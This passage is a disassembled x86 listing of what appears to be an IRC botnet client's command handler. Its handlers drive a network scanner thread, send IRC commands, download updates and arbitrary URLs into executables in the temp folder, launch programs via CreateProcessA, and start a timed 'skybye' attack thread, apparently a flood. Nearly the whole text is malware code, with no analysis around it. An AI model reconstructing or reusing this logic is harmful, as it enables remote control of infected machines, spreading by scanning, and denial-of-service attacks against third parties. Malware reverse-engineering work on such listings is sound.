		jnz	short loc_4033D5
		cmp	[ebp+var_39B], bl
		jnz	short loc_4033D5
		cmp	[ebp+var_39D], bl
		jz	loc_4043E5


loc_4033D5:				; CODE XREF: sub_40198E+1A21j
					; sub_40198E+1A29j ...
		push	10h
		pop	esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		push	[ebp+arg_4]
		mov	[ebp+var_8], esi
		call	dword_4C45F8
		mov	al, [ebp+var_3B3]
		neg	al
		push	esi
		sbb	eax, eax
		and	eax, 0FFFF0100h
		add	eax, 0FFFFh
		and	[ebp+var_C4], eax
		push	[ebp+var_C4]
		call	dword_4C4710
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_40DB80
		add	esp, 0Ch
		cmp	[ebp+var_3A2], bl
		jz	short loc_403483
		xor	eax, eax
		cmp	[ebp+var_3B3], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_40DCE0
		cmp	edi, ebx
		pop	ecx
		pop	ecx
		mov	byte ptr [ebp+arg_0+3],	bl
		jle	loc_403559


loc_403458:				; CODE XREF: sub_40198E+1AEEj
		cmp	eax, ebx
		jz	loc_403559
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_23C]
		push	30h
		push	eax
		call	sub_40DCE0
		inc	byte ptr [ebp+arg_0+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_0+3]
		cmp	ecx, edi
		jl	short loc_403458
		jmp	loc_403559
; ---------------------------------------------------------------------------


loc_403483:				; CODE XREF: sub_40198E+1A9Ej
		cmp	[ebp+var_39B], bl
		jnz	short loc_40349E
		cmp	[ebp+var_39D], bl
		jnz	short loc_40349E
		mov	[ebp+var_FC], ebx
		jmp	loc_403563
; ---------------------------------------------------------------------------


loc_40349E:				; CODE XREF: sub_40198E+1AFBj
					; sub_40198E+1B03j
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_14], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_28], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_23C]
		push	offset dword_419868
		push	eax
		call	sub_40DCA4
		add	esp, 18h
		call	sub_40E04D
		mov	[ebp+arg_0], eax
		fild	[ebp+arg_0]
		fmul	dbl_419860
		fmul	dbl_419858
		call	sub_40E2E4
		mov	[ebp+var_18], eax
		shl	eax, 8
		add	eax, [ebp+var_14]
		mov	[ebp+var_28], ebx
		push	eax
		mov	[ebp+var_20], ebx
		call	dword_4C4710
		push	eax
		lea	eax, [ebp+var_23C]
		push	offset aS_0	; "%s"
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch
		cmp	[ebp+var_39D], bl
		mov	[ebp+var_FC], ebx
		jz	short loc_403563
		lea	eax, [ebp+var_23C]
		push	30h
		push	eax
		call	sub_40DCE0
		pop	ecx
		pop	ecx
		mov	byte ptr [ebp+arg_0+3],	bl


loc_403539:				; CODE XREF: sub_40198E+1BC9j
		cmp	eax, ebx
		jz	short loc_403559
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_23C]
		push	30h
		push	eax
		call	sub_40DCE0
		inc	byte ptr [ebp+arg_0+3]
		cmp	byte ptr [ebp+arg_0+3],	2
		pop	ecx
		pop	ecx
		jl	short loc_403539


loc_403559:				; CODE XREF: sub_40198E+1AC4j
					; sub_40198E+1ACCj ...
		mov	[ebp+var_FC], 1


loc_403563:				; CODE XREF: sub_40198E+1B0Bj
					; sub_40198E+1B96j
		mov	eax, [ebp+var_4]
		push	[ebp+var_B0]
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+var_10]
		mov	[ebp+var_104], eax
		lea	eax, [ebp+var_22C]
		push	80h
		push	eax
		mov	[ebp+var_12C], edi
		mov	[ebp+var_100], esi
		call	sub_40DFEC
		push	offset word_41994E
		push	offset dword_41E18C
		call	sub_40D720
		add	esp, 14h
		test	eax, eax
		jz	short loc_4035C6
		push	offset dword_41E18C
		lea	eax, [ebp+var_1AC]
		push	80h
		push	eax
		call	sub_40DFEC
		add	esp, 0Ch
		jmp	short loc_4035CC
; ---------------------------------------------------------------------------


loc_4035C6:				; CODE XREF: sub_40198E+1C1Bj
		mov	[ebp+var_1AC], bl


loc_4035CC:				; CODE XREF: sub_40198E+1C36j
		cmp	[ebp+var_FC], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4035DE
		mov	eax, offset aSequential	; "Sequential"


loc_4035DE:				; CODE XREF: sub_40198E+1C49j
		push	[ebp+var_110]
		lea	ecx, [ebp+var_23C]
		push	[ebp+var_120]
		push	[ebp+var_124]
		push	[ebp+var_128]
		push	ecx
		push	eax
		lea	eax, [ebp+var_814]
		push	offset aSScannerOnSDDe ; "%s Scanner on	%s:%d delay %d %d mins %d"...
		push	eax
		call	sub_40D6BB
		push	ebx
		lea	eax, [ebp+var_814]
		push	3
		push	eax
		call	sub_40A83B
		add	esp, 2Ch
		mov	[ebp+var_11C], eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		lea	eax, [ebp+var_23C]
		push	eax
		push	offset sub_40AFA2
		push	ebx
		push	ebx
		call	dword_4190B0	; CreateThread
		mov	ecx, [ebp+var_11C]
		imul	ecx, 434h
		cmp	eax, ebx
		mov	dword_42221C[ecx], eax
		jnz	short loc_4036BB
		lea	eax, [ebp+var_814]
		push	offset aCanNotStartSca ; "Can not start	scanner"
		push	eax
		call	sub_40D6BB
		pop	ecx
		pop	ecx


loc_403669:				; CODE XREF: sub_40198E+1D35j
		cmp	esi, ebx
		jnz	short loc_403686
		push	[ebp+var_4]
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+var_B0]
		push	edi
		call	sub_4017B6
		add	esp, 10h


loc_403686:				; CODE XREF: sub_40198E+1CDDj
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_401648
		mov	[esp+48h+var_48], 3E8h
		call	dword_419060	; Sleep


loc_40369F:				; CODE XREF: sub_40198E+19A2j
		add	[ebp+var_1C], 0Bh
		mov	eax, [ebp+var_1C]
		cmp	[eax], bl
		jnz	loc_4032E6
		jmp	loc_401C32
; ---------------------------------------------------------------------------


loc_4036B3:				; CODE XREF: sub_40198E+1D33j
		push	32h
		call	dword_419060	; Sleep


loc_4036BB:				; CODE XREF: sub_40198E+1CC6j
		cmp	[ebp+var_F8], ebx
		jz	short loc_4036B3
		jmp	short loc_403669
; ---------------------------------------------------------------------------


loc_4036C5:				; CODE XREF: sub_40198E+1A15j
		push	offset aP0rtInvalid_ ; "p0rt invalid."
		jmp	loc_4043EA
; ---------------------------------------------------------------------------


loc_4036CF:				; CODE XREF: sub_40198E+18F6j
		push	[ebp+var_8]
		push	offset aNick_0	; "nick"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4036F8
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"


loc_4036E8:				; CODE XREF: sub_40198E+1DA4j
					; sub_40198E+2184j
		push	[ebp+arg_4]
		call	sub_40170D
		add	esp, 0Ch
		jmp	loc_402660
; ---------------------------------------------------------------------------


loc_4036F8:				; CODE XREF: sub_40198E+1D52j
		push	[ebp+var_8]
		push	offset aJ	; "j"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403718
		push	[ebp+esi+var_B0]
		push	edi
		jmp	loc_403ACB
; ---------------------------------------------------------------------------


loc_403718:				; CODE XREF: sub_40198E+1D7Bj
		mov	esi, [ebp+var_8]
		push	esi
		push	offset aP	; "p"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403734
		push	edi
		push	offset aPartS	; "PART	%s\r\n"
		jmp	short loc_4036E8
; ---------------------------------------------------------------------------


loc_403734:				; CODE XREF: sub_40198E+1D9Cj
		push	esi
		push	offset aR	; "r"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403770
		cmp	[ebp+var_14], ebx
		jz	loc_402660
		push	edi
		push	[ebp+var_14]
		call	sub_40D810
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	loc_402660
		push	eax
		push	[ebp+arg_4]
		call	sub_4016B8
		pop	ecx
		jmp	loc_40273E
; ---------------------------------------------------------------------------


loc_403770:				; CODE XREF: sub_40198E+1DB5j
		push	esi
		push	offset aKillth	; "killth"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40382E
		push	edi
		push	offset aAll	; "all"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4037B4
		call	sub_40A9B3
		cmp	eax, ebx
		jle	short loc_4037AA
		push	eax
		push	offset aStoppedDThread ; "Stopped: %d thread(s)."
		jmp	loc_4046A0
; ---------------------------------------------------------------------------


loc_4037AA:				; CODE XREF: sub_40198E+1E0Fj
		push	offset aNoActiveThread ; "No active threads found."
		jmp	loc_4043EA
; ---------------------------------------------------------------------------


loc_4037B4:				; CODE XREF: sub_40198E+1E06j
		mov	esi, [ebp+var_20]
		jmp	short loc_403823
; ---------------------------------------------------------------------------


loc_4037B9:				; CODE XREF: sub_40198E+1E99j
		mov	edi, [ebp+esi*4+var_B8]
		cmp	edi, ebx
		jz	loc_401C32
		push	edi
		call	sub_40E0C8
		push	eax
		call	sub_40A920
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		lea	eax, [ebp+var_814]
		jz	short loc_4037E8
		push	offset aKilledThreadS_ ; "Killed thread: %s."
		jmp	short loc_4037ED
; ---------------------------------------------------------------------------


loc_4037E8:				; CODE XREF: sub_40198E+1E51j
		push	offset aFail3dToKiThre ; "Fail3d to ki|| thread: %s."


loc_4037ED:				; CODE XREF: sub_40198E+1E58j
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch
		cmp	[ebp+var_10], ebx
		jnz	short loc_403816
		push	[ebp+var_4]
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+var_B0]
		push	[ebp+arg_4]
		call	sub_4017B6
		add	esp, 10h


loc_403816:				; CODE XREF: sub_40198E+1E6Bj
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_401648
		pop	ecx


loc_403823:				; CODE XREF: sub_40198E+1E29j
		inc	esi
		cmp	esi, 20h
		jb	short loc_4037B9
		jmp	loc_401C32
; ---------------------------------------------------------------------------


loc_40382E:				; CODE XREF: sub_40198E+1DF1j
		push	esi
		push	offset aOpen	; "open"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40388E
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen_0	; "open"
		push	ebx
		call	dword_4191D8
		test	eax, eax
		jz	short loc_40387B
		cmp	[ebp+var_10], ebx
		jnz	loc_402660
		push	[ebp+var_4]
		push	offset aFileOpened_ ; "file opened."


loc_403865:				; CODE XREF: sub_40198E+1EFEj
					; sub_40198E+1F89j ...
		push	[ebp+var_B0]


loc_40386B:				; CODE XREF: sub_40198E+206Dj
		push	[ebp+arg_4]
		call	sub_4017B6


loc_403873:				; CODE XREF: sub_40198E+214Aj
		add	esp, 10h
		jmp	loc_402660
; ---------------------------------------------------------------------------


loc_40387B:				; CODE XREF: sub_40198E+1EC4j
		cmp	[ebp+var_10], ebx
		jnz	loc_402660
		push	[ebp+var_4]
		push	offset aCouldnTOpenFil ; "couldn't open file."
		jmp	short loc_403865
; ---------------------------------------------------------------------------


loc_40388E:				; CODE XREF: sub_40198E+1EAFj
		push	esi
		push	offset aDns	; "dns"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40391C
		push	edi
		call	dword_419248	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4038C4
		push	2
		push	4
		lea	eax, [ebp+arg_0]
		push	eax
		call	dword_41924C	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_40390F
		push	dword ptr [eax]
		jmp	short loc_4038DD
; ---------------------------------------------------------------------------


loc_4038C4:				; CODE XREF: sub_40198E+1F1Ej
		push	edi
		call	dword_419250	; gethostbyname
		cmp	eax, ebx
		jz	short loc_40390F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_419254	; inet_ntoa
		push	eax


loc_4038DD:				; CODE XREF: sub_40198E+1F34j
		push	edi
		lea	eax, [ebp+var_814]
		push	offset aSS_1	; "%s -> %s"
		push	eax
		call	sub_40D6BB
		push	[ebp+var_4]
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+var_B0]
		push	[ebp+arg_4]
		call	sub_4017B6
		add	esp, 20h
		jmp	loc_402660
; ---------------------------------------------------------------------------


loc_40390F:				; CODE XREF: sub_40198E+1F30j
					; sub_40198E+1F3Fj
		push	[ebp+var_4]
		push	offset aCouldNotResolv ; "could	not resolve host"
		jmp	loc_403865
; ---------------------------------------------------------------------------


loc_40391C:				; CODE XREF: sub_40198E+1F0Fj
		push	esi
		push	offset aMircmd	; "mIRCMD"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40399F
		cmp	[ebp+var_14], ebx
		jz	loc_402660
		push	edi
		push	[ebp+var_14]
		call	sub_40D810
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	loc_402660
		push	eax
		call	sub_408995
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_814]
		jnz	short loc_403961
		push	offset aClientNotOpen_ ; "Client not open."
		jmp	short loc_403966
; ---------------------------------------------------------------------------


loc_403961:				; CODE XREF: sub_40198E+1FCAj
		push	offset dword_4196F8


loc_403966:				; CODE XREF: sub_40198E+1FD1j
					; sub_40198E+2449j
		push	eax
		call	sub_40D6BB
		pop	ecx
		pop	ecx


loc_40396E:				; CODE XREF: sub_40198E+2424j
					; sub_40198E+2439j
		cmp	[ebp+var_10], ebx
		jnz	short loc_40398E
		push	[ebp+var_4]
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+var_B0]
		push	[ebp+arg_4]
		call	sub_4017B6
		add	esp, 10h


loc_40398E:				; CODE XREF: sub_40198E+1FE3j
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_401648
		jmp	loc_40273E
; ---------------------------------------------------------------------------


loc_40399F:				; CODE XREF: sub_40198E+1F9Dj
		mov	eax, [ebp+var_1C]
		mov	esi, [ebp+eax+var_B0]
		cmp	esi, ebx
		jz	loc_401C32
		push	[ebp+var_8]
		push	offset aPm	; "pm"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403A00
		cmp	[ebp+var_14], ebx
		jz	loc_402660
		push	edi
		call	sub_40D630
		push	[ebp+var_8]
		mov	edi, eax
		call	sub_40D630
		add	eax, [ebp+var_14]
		push	esi
		lea	eax, [eax+edi+2]
		push	eax
		call	sub_40D810
		add	esp, 10h
		cmp	eax, ebx
		jz	loc_402660
		push	ebx
		push	eax
		push	[ebp+var_C]
		jmp	loc_40386B
; ---------------------------------------------------------------------------


loc_403A00:				; CODE XREF: sub_40198E+2034j
		push	[ebp+var_8]
		push	offset aAct	; "act"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403A6F
		cmp	[ebp+var_14], ebx
		jz	loc_402660
		push	edi
		call	sub_40D630
		push	[ebp+var_8]
		mov	edi, eax
		call	sub_40D630
		add	eax, [ebp+var_14]
		push	esi
		lea	eax, [eax+edi+2]
		push	eax
		call	sub_40D810
		add	esp, 10h
		cmp	eax, ebx
		jz	loc_402660
		push	eax
		lea	eax, [ebp+var_814]
		push	offset dword_4196EC
		push	eax
		call	sub_40D6BB
		push	ebx
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+var_C]


loc_403A62:				; CODE XREF: sub_40198E+2816j
		push	[ebp+arg_4]
		call	sub_4017B6
		jmp	loc_40265D
; ---------------------------------------------------------------------------


loc_403A6F:				; CODE XREF: sub_40198E+2083j
		push	[ebp+var_8]
		push	offset aCyc	; "cyc"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403ADD
		push	[ebp+var_B4]
		push	offset a332	; "332"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_401C32
		push	esi
		push	offset aPartS	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40170D
		push	edi
		call	sub_40E0C8
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_419060	; Sleep
		mov	eax, [ebp+var_1C]
		push	[ebp+eax+var_AC]
		push	esi


loc_403ACB:				; CODE XREF: sub_40198E+1D85j
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_401760
		jmp	loc_403873
; ---------------------------------------------------------------------------


loc_403ADD:				; CODE XREF: sub_40198E+20F2j
		push	[ebp+var_8]
		push	offset aMode	; "mode"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403B17
		cmp	[ebp+var_14], ebx
		jz	loc_402660
		push	edi
		push	[ebp+var_14]
		call	sub_40D810
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	loc_402660
		push	eax
		push	offset aModeS	; "MODE	%s\r\n"
		jmp	loc_4036E8
; ---------------------------------------------------------------------------


loc_403B17:				; CODE XREF: sub_40198E+2160j
		push	[ebp+var_8]
		push	offset aRepeat	; "repeat"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_403BB2
		push	[ebp+var_B4]
		push	offset a332	; "332"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_401C32
		cmp	[ebp+var_14], ebx
		jz	loc_402660
		push	esi
		push	[ebp+var_14]
		call	sub_40D810
		push	eax
		push	[ebp+var_B0]
		lea	eax, [ebp+var_814]
		push	[ebp+var_B4]
		push	[ebp+var_B8]
		push	offset aSSSS_0	; "%s %s %s :%s"
		push	eax
		call	sub_40D6BB
		push	1FFh
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+arg_0]
		call	sub_40DB80
		push	edi
		call	sub_40E0C8
		add	esp, 30h
		test	eax, eax
		jle	loc_402660
		push	edi
		call	sub_40E0C8
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401C35
; ---------------------------------------------------------------------------


loc_403BB2:				; CODE XREF: sub_40198E+219Aj
		push	[ebp+var_8]
		push	offset aDelay	; "delay"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_403C57
		push	[ebp+var_B4]
		push	offset a332	; "332"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_401C32
		cmp	[ebp+var_14], ebx
		jz	loc_402660
		push	esi
		push	[ebp+var_14]
		call	sub_40D810
		push	eax
		push	[ebp+var_B0]
		lea	eax, [ebp+var_814]
		push	[ebp+var_B4]
		push	[ebp+var_B8]
		push	offset aSSSS_0	; "%s %s %s :%s"
		push	eax
		call	sub_40D6BB
		push	1FFh
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+arg_0]
		call	sub_40DB80
		push	edi
		call	sub_40E0C8
		add	esp, 30h
		test	eax, eax
		jle	short loc_403C4E
		push	edi
		call	sub_40E0C8
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_419060	; Sleep


loc_403C4E:				; CODE XREF: sub_40198E+22AAj
		mov	eax, [ebp+arg_24]
		inc	eax
		jmp	loc_401C35
; ---------------------------------------------------------------------------


loc_403C57:				; CODE XREF: sub_40198E+2235j
		push	[ebp+var_8]
		push	offset aAu	; "au"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_403DDC
		push	esi
		push	offset aBawha	; "bawha"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_403DCC
		lea	eax, [ebp+var_1F4]
		push	eax
		push	104h
		call	dword_4190A0	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_A34]
		push	edi
		push	eax
		call	sub_40DB80
		lea	eax, [ebp+var_D4]
		push	eax
		call	sub_409C44
		push	eax
		lea	eax, [ebp+var_1F4]
		push	eax
		lea	eax, [ebp+var_934]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_40D6BB
		mov	eax, [ebp+var_1C]
		mov	eax, [ebp+eax+var_A8]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_830], 1
		mov	[ebp+var_82C], ebx
		jz	short loc_403CFC
		push	eax
		call	sub_40E0C8
		pop	ecx
		mov	[ebp+var_828], eax
		jmp	short loc_403D02
; ---------------------------------------------------------------------------


loc_403CFC:				; CODE XREF: sub_40198E+235Dj
		mov	[ebp+var_828], ebx


loc_403D02:				; CODE XREF: sub_40198E+236Cj
		movzx	eax, [ebp+var_3AF]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_B0]
		mov	[ebp+var_824], eax
		lea	eax, [ebp+var_AB4]
		push	eax
		mov	[ebp+var_AB8], esi
		call	sub_40DB80
		mov	eax, [ebp+var_4]
		mov	[ebp+var_81C], eax
		mov	eax, [ebp+var_10]
		push	edi
		mov	[ebp+var_820], eax
		lea	eax, [ebp+var_814]
		push	offset aGettingUpdateF ; "Getting Update From: %s."
		push	eax
		call	sub_40D6BB
		push	esi
		lea	eax, [ebp+var_814]
		push	6
		push	eax
		call	sub_40A83B
		add	esp, 24h
		mov	[ebp+var_834], eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		lea	eax, [ebp+var_AB8]
		push	eax
		push	offset sub_4056A2
		push	ebx
		push	ebx
		call	dword_4190B0	; CreateThread
		mov	ecx, [ebp+var_834]
		imul	ecx, 434h
		cmp	eax, ebx
		mov	dword_42221C[ecx], eax
		jnz	short loc_403DBF
		call	dword_4190AC	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_814]
		push	offset aFailedToStartD ; "Failed to start download thread, error:"...
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch
		jmp	loc_40396E
; ---------------------------------------------------------------------------


loc_403DB7:				; CODE XREF: sub_40198E+2437j
		push	32h
		call	dword_419060	; Sleep


loc_403DBF:				; CODE XREF: sub_40198E+2407j
		cmp	[ebp+var_818], ebx
		jz	short loc_403DB7
		jmp	loc_40396E
; ---------------------------------------------------------------------------


loc_403DCC:				; CODE XREF: sub_40198E+22EFj
		push	offset aShitMustBeDiff ; "SHit must be different than current run"...
		lea	eax, [ebp+var_814]
		jmp	loc_403966
; ---------------------------------------------------------------------------


loc_403DDC:				; CODE XREF: sub_40198E+22DAj
		push	[ebp+var_8]
		push	offset aExe	; "exe"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_403E7B
		push	44h
		lea	eax, [ebp+var_134]
		push	ebx
		push	eax
		call	sub_40D7B0
		push	edi
		mov	[ebp+var_134], 44h
		call	sub_40E0C8
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		and	eax, 5
		cmp	[ebp+var_14], ebx
		mov	word ptr [ebp+var_104],	ax
		jz	loc_402660
		push	esi
		push	[ebp+var_14]
		call	sub_40D810
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	loc_402660
		lea	ecx, [ebp+var_C8]
		push	ecx
		lea	ecx, [ebp+var_134]
		push	ecx
		push	ebx
		push	ebx
		push	28h
		push	1
		push	ebx
		push	ebx
		push	eax
		push	ebx
		call	dword_41909C	; CreateProcessA
		test	eax, eax
		jnz	loc_402660
		cmp	[ebp+var_10], ebx
		jnz	loc_402660
		push	[ebp+var_4]
		push	offset aCouldnTExecute ; "couldn't execute file."
		jmp	loc_403865
; ---------------------------------------------------------------------------


loc_403E7B:				; CODE XREF: sub_40198E+245Fj
		mov	eax, [ebp+var_1C]
		mov	eax, [ebp+eax+var_AC]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401C32
		push	[ebp+var_8]
		push	offset aDu	; "du"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_403FEF
		mov	edi, 0FFh
		push	edi
		push	[ebp+var_C]
		lea	eax, [ebp+var_A34]
		push	eax
		call	sub_40DB80
		push	edi
		lea	eax, [ebp+var_934]
		push	esi
		push	eax
		call	sub_40DB80
		mov	eax, [ebp+var_1C]
		push	[ebp+eax+var_AC]
		mov	[ebp+var_830], ebx
		call	sub_40E0C8
		mov	[ebp+var_82C], eax
		mov	eax, [ebp+var_1C]
		mov	eax, [ebp+eax+var_A4]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_403F05
		push	eax
		call	sub_40E0C8
		pop	ecx
		mov	[ebp+var_828], eax
		jmp	short loc_403F0B
; ---------------------------------------------------------------------------


loc_403F05:				; CODE XREF: sub_40198E+2566j
		mov	[ebp+var_828], ebx


loc_403F0B:				; CODE XREF: sub_40198E+2575j
		movzx	eax, [ebp+var_3AF]
		mov	edi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_B0]
		mov	[ebp+var_824], eax
		lea	eax, [ebp+var_AB4]
		push	eax
		mov	[ebp+var_AB8], edi
		call	sub_40DB80
		mov	eax, [ebp+var_4]
		push	esi
		push	[ebp+var_C]
		mov	[ebp+var_81C], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_820], eax
		lea	eax, [ebp+var_814]
		push	offset aGettingUrlSToS ; "Getting URL: %s to: %s."
		push	eax
		call	sub_40D6BB
		push	edi
		lea	eax, [ebp+var_814]
		push	5
		push	eax
		call	sub_40A83B
		add	esp, 28h
		mov	[ebp+var_834], eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		lea	eax, [ebp+var_AB8]
		push	eax
		push	offset sub_4056A2
		push	ebx
		push	ebx
		call	dword_4190B0	; CreateThread
		mov	ecx, [ebp+var_834]
		imul	ecx, 434h
		cmp	eax, ebx
		mov	dword_42221C[ecx], eax
		jnz	short loc_403FE5
		call	dword_4190AC	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_814]
		push	offset aFailedToStartT ; "Failed to start transfer, error: <%d>."
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch


loc_403FBE:				; CODE XREF: sub_40198E+265Fj
		cmp	[ebp+var_10], ebx
		jnz	loc_4046CF
		push	[ebp+var_4]
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+var_B0]
		push	edi
		jmp	loc_4046C7
; ---------------------------------------------------------------------------


loc_403FDD:				; CODE XREF: sub_40198E+265Dj
		push	32h
		call	dword_419060	; Sleep


loc_403FE5:				; CODE XREF: sub_40198E+2613j
		cmp	[ebp+var_818], ebx
		jz	short loc_403FDD
		jmp	short loc_403FBE
; ---------------------------------------------------------------------------


loc_403FEF:				; CODE XREF: sub_40198E+2513j
		push	[ebp+var_8]
		push	offset aSkybye	; "skybye"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4040EA
		push	7Fh
		lea	eax, [ebp+var_300]
		push	edi
		push	eax


loc_404010:				; DATA XREF: .text:0041E990o
		call	sub_40DB80
		push	7Fh
		lea	eax, [ebp+var_280]
		push	esi
		push	eax
		call	sub_40DB80
		push	7Fh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40DB80
		push	7Fh
		push	[ebp+var_B0]
		lea	eax, [ebp+var_180]
		push	eax
		call	sub_40DB80
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	[ebp+var_FC], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_F8], eax
		mov	eax, [ebp+arg_4]
		push	esi
		push	edi
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_814]
		push	offset aStartingSSForS ; "Starting: (%s:%s) for	%s seconds."
		push	eax
		call	sub_40D6BB
		add	esp, 44h
		push	ebx
		lea	eax, [ebp+var_814]
		push	4
		push	eax
		call	sub_40A83B
		add	esp, 0Ch
		mov	[ebp+var_100], eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		lea	eax, [ebp+var_304]
		push	eax
		push	offset sub_409FE8
		push	ebx
		push	ebx
		call	dword_4190B0	; CreateThread
		mov	ecx, [ebp+var_100]
		imul	ecx, 434h
		cmp	eax, ebx
		mov	dword_42221C[ecx], eax
		jnz	short loc_4040DD
		call	dword_4190AC	; RtlGetLastWin32Error
		push	eax
		push	offset aFailedToStar_2 ; "Failed to start: <%d>."
		jmp	loc_4046A0
; ---------------------------------------------------------------------------


loc_4040D5:				; CODE XREF: sub_40198E+2755j
		push	32h
		call	dword_419060	; Sleep


loc_4040DD:				; CODE XREF: sub_40198E+2734j
		cmp	[ebp+var_F4], ebx
		jz	short loc_4040D5
		jmp	loc_4046AF
; ---------------------------------------------------------------------------


loc_4040EA:				; CODE XREF: sub_40198E+2672j
		mov	eax, [ebp+var_1C]
		mov	eax, [ebp+eax+var_A8]
		cmp	eax, ebx
		mov	[ebp+var_18], eax
		jz	loc_401C32
		push	[ebp+var_8]
		push	offset aFind_0	; "find"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4046F3
		push	[ebp+arg_4]
		call	sub_408CE6
		push	eax
		call	sub_408D3F
		test	al, al
		pop	ecx
		pop	ecx
		jz	short loc_404164
		push	[ebp+var_B0]
		mov	edi, offset dword_41E194
		push	edi
		call	dword_4190A4	; lstrcmpi
		test	eax, eax
		jz	short loc_404161
		cmp	[ebp+var_3A0], bl
		jz	short loc_404161


loc_404148:				; CODE XREF: sub_40198E+192Cj
		push	[ebp+arg_C]
		push	edi
